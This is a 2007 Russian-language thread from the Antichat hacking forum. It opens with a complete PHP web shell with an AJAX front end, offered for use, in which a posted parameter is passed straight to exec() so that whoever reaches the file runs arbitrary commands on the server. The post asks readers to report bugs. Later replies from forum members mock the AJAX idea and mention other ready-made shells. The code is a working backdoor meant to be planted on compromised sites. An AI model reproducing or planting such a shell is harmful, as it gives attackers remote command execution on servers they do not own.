Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   web-shell на ajax (https://forum.antichat.xyz/showthread.php?t=42188)

_Master- 14.06.2007 12:36

web-shell на ajax
 
Вроде нигде не видел такую реализацию, а посему решили со знакомым попробовать :)
Итак, на момент релиза первой стейбл версии мы имеем - просто форму для ввода команд и получения их результата без перезагрузки страницы следовательно мы имеем экономию трафика и вебдванольный эффект =) Хочется полностью построить полноценный веб-шелл на аяксе :) Будем радовать релизами :)
P.S. На сервере сейф-мод должен быть отключен
Код ниже
PHP код:

<?php

/**
*
* Shell in AJAX style v 0.1
* Idea of _Master-
* Coding by Kirpichtion
*
*/

if ( ! isset( $_POST['q'] ) )
echo
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shell in AJAX style</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type"text/css">
BODY {
font: 80% Dialog;
color: rgb(187, 187, 187);
background-color: #000;
margin: 0px;
padding: 0px;
}

FORM {
padding: 20px;
margin: 0;
}

#query input {
font-family: Dialog;
background-color: transparent;
color: rgb(187, 187, 187);
border: 1px inset rgb(187, 187, 187);
width: 100%;
padding: 6px;
}

#result div {
padding: 20px;
}

</style>
<script launguage="Javascript" type="text/javascript">

window.onload = function() {
var form = document.getElementById( \'query\' );
var input = form.getElementsByTagName( \'INPUT\' ).item(0);

form.onsubmit = function() { return sendQuery(); }
input.value = \'\';
input.focus();
}

function insertResult( request ) {
var result = document.getElementById( \'result\' );
var div = result.getElementsByTagName( \'DIV\' ).item(0);
var form = document.getElementById( \'query\' );
var input = form.getElementsByTagName( \'INPUT\' ).item(0);

div.innerHTML = request.responseText;
input.value = \'\';
input.focus();
}

function sendQuery() {
var form = document.getElementById( \'query\' );
var query = document.getElementsByTagName( \'INPUT\' ).item(0).value;

httpRequest( form.action, \'POST\', \'q=\' + query, insertResult );

return false;
}

function httpRequest( url, method, params, func ) {
var msxmlhttp = new Array(
\'Msxml2.XMLHTTP.5.0\',
\'Msxml2.XMLHTTP.4.0\',
\'Msxml2.XMLHTTP.3.0\',
\'Msxml2.XMLHTTP\',
\'Microsoft.XMLHTTP\');

if ( window.XMLHttpRequest ) {
request = new XMLHttpRequest;
if ( request.overrideMimeType ) {
request.overrideMimeType( \'text/xml\' );
}
} else if ( window.ActiveXObject ) {
for ( var i = 0; i < msxmlhttp.length; i ++ ) {
try {
request = new ActiveXObject( msxmlhttp[i] );
} catch ( e ) {
request = false;
}
}
}

if ( ! request ) {
alert( \'Can\\\'t creare XMLHTTP instance :(\' );
return false;
}

request.onreadystatechange = function() {
if ( request.readyState == 4 ) {
if ( request.status == 200 ) {
func( request );
} else {
alert( \'There was a problem with the request :(\' );
}
}
}
request.open( method, url, true );
request.setRequestHeader( \'Content-Type\', \'application/x-www-form-urlencoded\' );
request.send( params );
}

</script>
</head>

<body>

<form action="' 
basename__FILE__ ) . '" id="query">
<div>
<input type="text" />
</div>
</form>

<div id="result">
<div></div>
</div>

</body>
</html>'
;

else {
exec$_POST['q'], $result );
echo 
nl2brhtmlentitiesjoin"\n"$result ) ) );
}

?>

О всех найденных багах и все пожелания постим тут. Мой респект Kirpichtion

GreenBear 14.06.2007 12:38

просто интересно - зачем?

_Master- 14.06.2007 12:45

экономия трафика и нервов :) Ну нравится мне вебдванольные штуки :) Это плохо? ) Нравится когда сервер отвечает без презагрузки страницы :)

GreenBear 14.06.2007 12:47

хз. по мне так сувать аякс во все щели идиотизм.

guest3297 14.06.2007 13:17

Идея не нова сделай полноценно работающий шелл а просто исполнение команд тогда поговорим...

Raz0r 14.06.2007 14:24

Бери любой готовый шелл и затачивай его на Ajax, а заниматься анонизмом имхо не надо.

Isis 14.06.2007 14:29

Бугага, нахера засирать скрипт этим аяксом?
Весь код без аякса 5 строк =\

Raz0r 14.06.2007 19:37

Видимо понт :) "эээ слыш, у мну тут шелл на аякси, ээ типа пантова,да?")))

guest3297 14.06.2007 19:42

ИМХО это удобнее.
У всех известных шелов свой дизайн. Почему ?

genom-- 14.06.2007 21:00

ну если допишите до полноценного шелла то хз пусть будет --- тогда похвалю -- развивайте идею -- хотя мне тоже непонятно зачем и интересно сколько в итоге этот монстр будет весить =) -- rst у нас 80 кило весит ну пусть вы даже перепишите половину функций в ваш шелл --- ну я думаю в метр должны вложиться


Время: 08:27